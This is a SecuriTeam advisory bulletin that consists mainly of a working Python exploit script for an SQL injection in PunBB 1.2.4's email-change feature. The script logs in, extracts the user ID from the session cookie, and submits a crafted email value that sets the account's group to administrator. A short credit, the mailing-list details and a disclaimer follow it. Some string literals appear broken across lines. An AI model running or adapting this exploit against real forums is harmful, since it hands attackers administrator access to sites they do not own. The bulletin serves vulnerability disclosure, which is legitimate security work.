



## Securiteam: [EXPL] PunBB change\_email SQL Injection

```
#####  
#  
# -= PunBB 1.2.4 -=  
# change_email SQL injection exploit  
#  
# user-supplied data within the database is still user-supplied data  
#  
#####  
  
import urllib  
import getopt  
import sys  
import string  
  
__argv__ = sys.argv  
  
def banner():  
    print "PunBB 1.2.4 - change_email SQL injection exploit"  
    print "Copyright (C) 2005 Hardened-PHP Project\n"  
  
def usage():  
    banner()  
    print "Usage:\n"  
    print " $ ./punbb_change_email.py [options]\n"  
    print " -h http_url url of the punBB forum to exploit"  
    print " f.e. http://www.forum.net/punBB/"  
    print " -u username punBB forum useraccount"  
    print " -p password punBB forum userpassword"  
    print " -e email email address where the admin leve activation email  
is sent"  
    print " -d domain catch all domain to catch \"some-SQL-Query\"@domain  
emails"  
    print ""  
    sys.exit(-1)  
  
def main():  
    try:  
        opts, args = getopt.getopt(sys.argv[1:], "h:u:p:e:d:")  
    except getopt.GetoptError:  
        usage()  
  
    if len(__argv__) < 10:  
        usage()  
  
    username = None  
    password = None  
    email = None  
    domain = None  
    host = None  
    for o, arg in opts:  
        if o == "-h":
```

## Securiteam: [EXPL] PunBB change\_email SQL Injection

```
    host = arg
    if o == "-u":
        username = arg
    if o == "-p":
        password = arg
    if o == "-e":
        email = arg
    if o == "-d":
        domain = arg

# Printout banner
banner()

# Check if everything we need is there
if host == None:
    print "[-] need a host to connect to"
    sys.exit(-1)
if username == None:
    print "[-] username needed to continue"
    sys.exit(-1)
if password == None:
    print "[-] password needed to continue"
    sys.exit(-1)
if email == None:
    print "[-] email address needed to continue"
    sys.exit(-1)
if domain == None:
    print "[-] catch all domain needed to continue"
    sys.exit(-1)

# Retrive cookie
params = {
    'req_username' : username,
    'req_password' : password,
    'form_sent' : 1
}

wclient = urllib.URLopener()

print "[+] Connecting to retrieve cookie"

req = wclient.open(host + "/login.php?action=in",
urllib.urlencode(params))
info = req.info()
if 'set-cookie' not in info:
    print "[-] Unable to retrieve cookie... something is wrong"
    sys.exit(-3)
cookie = info['set-cookie']
cookie = cookie[:string.find(cookie, ';')]
print "[+] Cookie found - extracting user_id"
user_id = cookie[string.find(cookie, "%3A%22")+6:string.find(cookie,
```

## Securiteam: [EXPL] PunBB change\_email SQL Injection

```
"%22%3B")]
print "[+] User-ID: %d" % (int(user_id))
wclient.addheader('Cookie', cookie);

email = "" + email[:string.find(email, '@')] + "@" +
email[string.find(email, '@')+1:] + ','\
append = 'group_id=\1'
email = email + (((50-len(append))-len(email)) * ' ') + append +
"@' + domain

params = {
    'req_new_email' : email,
    'form_sent' : 1
}

print "[+] Connecting to request change email"
req = wclient.open(host + "profile.php?action=change_email&id=" +
user_id, urllib.urlencode(params))

print "[+] Done... Now wait for the email. Log into punBB, go to the
link in the email and become admin"

if __name__ == "__main__":
    main()
```

### ADDITIONAL INFORMATION

The information has been provided by <mailto:exploits@nopiracy.de>  
exploits@nopiracy.de.

=====

This bulletin is sent to members of the SecuriTeam mailing list.  
To unsubscribe from the list, send mail with an empty subject line and body to:  
list-unsubscribe@securiteam.com  
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====

### DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.  
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential,  
loss of business profits or special damages.